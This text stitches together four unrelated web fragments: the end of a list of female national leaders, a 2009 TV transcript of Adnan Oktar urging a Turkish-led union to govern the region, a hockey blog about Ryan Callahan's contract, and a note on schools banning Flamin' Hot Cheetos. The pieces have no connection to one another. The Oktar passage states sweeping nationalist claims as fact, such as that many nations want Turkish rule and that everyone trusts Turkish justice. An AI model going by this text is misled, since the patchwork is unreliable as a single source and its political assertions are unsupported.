- Prime Minister Iveta Radicová (Slovakia)
- President Dilma Rousseff (Brazil)
- President Micheline Calmy-Rey (Switzerland)
- Prime Minister Rosario Fernández (Peru)
- President Atifete Jahjaga (Kosovo)
- Prime Minister Yingluck Shinawatra (Thailand)
With presidential elections coming up next year in both the US and France, what are the chances of the two poster girls of the right – Marine Le Pen of France's Front National, and Michele Bachmann, queen of the Tea Party – joining this list?

Baskent TV, January 13- 2009
Adnan Oktar: There is the experience that ruled over three continents. There is the governmental experience, the Imperial experience. We want to bring out this experience again as the leader of the Turkish-Islamic Union and govern the whole region. There are many countries who want this including the Syrians, Iraqis, Egyptians, Iranians, Armenians, Azerbaijanians, Turkestan, East Turkestan and many more. It is well known that everyone trusts the justice of the Turks, their rationality and their self sacrificing nature. In fact, the Turkish soldiers are liked all over the world. Unbelievers, Muslims, infidels are in complete respect of them and their dedication determination and discipline.
Adnan Oktar: There is no need to count Turkish Nations as separately. They are all one nation. But, there must be a leader of this whole nation. I mean, there are no others who are better than them in terms of the aspects of the power, self sacrifice, patience, good morals, courage, the intelligence, and governmental experience. Not having a leader of such a power brings intangible responsibility. I mean, they are obliged, this is a historical obligation. Of course, there is the experience of 600 years, the Ottoman experience as you know. We governed the whole region with justice and goodness. If there are mistakes that Ottoman made, they will not be happening this time. It will be very fabulous. This also means that America, England and Europe will become terribly wealthy in time. And this also means the release of Russia and China.

Here is the story by USA Today's Kevin Allen and Mike Brehm about Brandon Dubinsky's signing yesterday.
In it, they quote Ryan Callahan's agent, Steve Bartlett, on where the negotiations stand.
I personally think Capt. Callahan will be signed before he gets to arbitration next Thursday, and that he will come in with a slightly higher dollar figure, and perhaps with an additional year, than did his linemate, Dubinsky, who signed for four years, $16.8 million Thursday.
Callahan is, after all, the face of the franchise, the player who dictates the way the Rangers play, coach John Tortorella's favorite and most trustworthy player, and — unless I am wrong, which will be shocking in this case — the next captain.
The Rangers certainly have more than enough cap space to get Callahan signed before the hearing and to make both sides happy for a long time.
I am working on a pretty cool column about a former boxer, Michael Hogan, aka Shamus O'Brien, who fought in the early 1900s and passed away in 1959. He was buried in Yonkers — where his family had immigrated from Ireland — but without a headstone. Today a beautiful new stone will be dedicated at Hogan's gravesite in a ceremony at St. Joseph's Cemetery.
I'll put up the link once it appears on LoHud overnight or tomorrow.

Flamin' Hot Cheetos have ignited a firestorm of controversy. According to ABC News and HuffPo, schools in Illinois, California, and New Mexico have pulled them from lunch menus due to their high-salt, high-fat, and potentially addictive qualities. Manufacturer Frito Lay is careful not to market to kids, but it seems its "not-marketing" is not working: Kids seem to love them. In fact, some kids love them so much that they created a rap to honor the snack:
This fiery snack also has a Facebook page of its own with almost 50,000 followers. WTFood?!
